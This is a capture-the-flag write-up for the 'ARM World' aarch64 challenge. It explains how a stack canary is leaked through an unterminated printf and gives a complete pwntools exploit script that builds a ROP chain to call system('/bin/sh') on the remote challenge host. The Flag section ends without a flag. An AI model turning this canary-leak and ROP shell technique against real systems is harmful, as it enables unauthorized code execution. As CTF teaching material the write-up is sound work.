Home wwf2025 ARM World
Writeup
Cancel

ARM World

Challenge

Highlights

  • ARM assembly
  • ARM ROP
  • Stack canary bypass

Discovery

The challenge seems to be a simple buffer overflow leading to ROP.

checksec output

1
2
3
4
5
    Arch:       aarch64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

When running it we get the chance to input a name and a guestbook, the name is printed back to us:

1
2
3
4
5
6
Welcome to ARM World!
Write your name: mideno
Your name: mideno

Write your Guestbook: my what
Thank you Guestbook!

To figure out more we’ll have to take a look at the code.

I changed the name of some of the functions and variables based on what they do since the binary is stripped.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
undefined8 chall(void)

{
  undefined8 uVar1;
  long lVar2;
  undefined8 local_68;
  undefined8 uStack_60;
  undefined8 local_58;
  undefined8 uStack_50;
  undefined8 local_48;
  undefined8 uStack_40;
  undefined8 local_38;
  undefined8 uStack_30;
  long canary_28;
  
  canary_28 = DAT_0049dc40;
  FUN_004006d4(&DAT_0049d000,0);
  FUN_0041e920(0x3c);
  FUN_0040e580("Welcome to ARM World!");
  local_68 = 0;
  uStack_60 = 0;
  local_58 = 0;
  uStack_50 = 0;
  printf("Write your name: ");
  read(0,&local_68,80);
  printf("Your name: %s\n",&local_68);
  local_48 = 0;
  uStack_40 = 0;
  local_38 = 0;
  uStack_30 = 0;
  printf("Write your Guestbook: ");
  scanf(&%s,&local_48);
  system("echo \'Thank you Guestbook!\'");
  if (canary_28 - DAT_0049dc40 != 0) {
    FUN_00420ea0(&DAT_0049d000,0,canary_28 - DAT_0049dc40);
    lVar2 = 2;
    do {
      (*(code *)(&PTR_FUN_0049c1a8)[lVar2])();
      lVar2 = lVar2 + -1;
    } while (lVar2 != 0);
    uVar1 = FUN_00466418();
    return uVar1;
  }
  return 0;
}

inmediately we realize some interesting stuff:

  • there is a stack canary (even tho checksec says no)
  • we can only achieve control flow hijack via the scanf call

stack layout information:

  • the canary is stored at [rbp-0x28]
  • the “name” variable is:
    • stored at [rbp-0x68]
    • 80 bytes long
  • “guestbook” is at [rbp-0x48]

As we can see there’s no way to craft a ROP without breaking the integrity check of the canary in principle. What we try to do always in this type of scenario is to leak the canary and then carefully craft a payload that writes it’s contents back.

We can use the printf("Your name: %s\n",&local_68); call to leak stuff, since this prints an arbitraryly long string, it only stops printing when it finds a null terminator 0x00.

So all we need to do is to make the name variable end where the canary starts (actually our last byte has to overlap since the canary usually starts with a null byte).

Solution

Full script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import remote, ROP, context, ELF, p64, cyclic

context.binary = ELF("./deploy/chal")

p = remote("chal.wwctf.com", 32770)

name_buff_offset = 0x68
guestbook_offset = 0x48
canary_offset = 0x28

p.sendline(b"A" * (name_buff_offset - canary_offset))

leak = p.recvuntil(b"Guestbook: ")
canary_leak_index = leak.index(b"A\n") + 2
canary = b"\x00" + leak[canary_leak_index:canary_leak_index+7]

p.sendline(b"A"*(guestbook_offset - canary_offset) +
           canary + b"A"*8 + p64(0x4562f8) + cyclic(24) + p64(0x401b00) + p64(0x466608))

p.interactive()

Leaking canary

As you can see we simply send a bunch of b"A"s to leak the canary, this returns something like this:

b'Welcome to ARM World!\nWrite your name: Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n?\xf7\xf5\x9e\xa1\x82& \x0b\x80\nWrite your Guestbook: '

from this we index to get the canary leak and store it as a variable (do note that we have to read 7 bytes and add the null byte to the start)

So we can leak the canary and bypass the stack integrity check, but now we still need to build a good ROP.

ROP building

This should not be that hard since there is no PIE

I’ll leave the epilogue of the function here since it’s really useful:

1
2
3
4
5
6
        004007e4 00 00 80 52     mov        w0,#0x0
        004007e8 fd 7b 45 a9     ldp        x29=>local_20,x30,[sp, #0x50]
        004007ec f3 33 40 f9     ldr        x19,[sp, #local_10]
        004007f0 ff c3 01 91     add        sp,sp,#0x70
        004007f4 c0 03 5f d6     ret

If you look carefully to the function decompilation, you can see there’s this call:

1
  system("echo \'Thank you Guestbook!\'");

This tells us that we have the system function which we can use to get a shell (I guessed this was system because of the argument).

The address of that function is: 00401b00

Now all we need is to get a gadget that lets us place a pointer to “/bin/sh” or similar in x0

I found “/bin/sh” in the address 0x466608

I settled for this gadget: 0x00000000004562f8 : ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret

let’s break it down:

  • ldr x0, [sp, #0x10]
    • loads into x0 a value stored at sp+0x10
  • ldp x29, x30, [sp], #0x20
    • loads into x29 a value stored at sp
    • loads into x30 a value stored at sp+8
    • increases sp by 0x20
  • ret

This might be a bit confusing at first but let’s break down the used payload a little bit too:

1
2
p.sendline(b"A"*(guestbook_offset - canary_offset) +
           canary + b"A"*8 + p64(0x4562f8) + cyclic(24) + p64(0x401b00) + p64(0x466608))

so first of all we set the canary in the right place and add 8 bytes of padding until the first return address.

We place the address of our gadget so we return to it.

Then we see 24 bytes of padding before the address of system and “/bin/sh”

Why is the padding there?

Well when the function reads the return address and writes it to x30, the sp register is actually 0x58 bytes before the return address, since it reads the values for x29 and x30 in a single ldp instruction.

This makes it so that when the sp is restored by adding 0x70 to it, it now stands at 0x70 - 0x50 = 24 bytes above the return address.

which is (if you do the mental map) 16 bytes into the cyclic(24), so the stack at the time of executing the gadget looks a bit like:

1
2
3
4
  0x10: p64(0x466608)
  0x08: p64(0x401b00)
  0x0: cyclic(8)
sp

suddendly it becomes easy to understand that the first part of the gadget will load sp+0x10 into x0 and that is… our “/bin/sh” pointer!! :))

then remember that 0x30 will be read from sp+0x8 (yeah we don’t care about x29) so that is where we have the pointer to system()

Flag

user: root: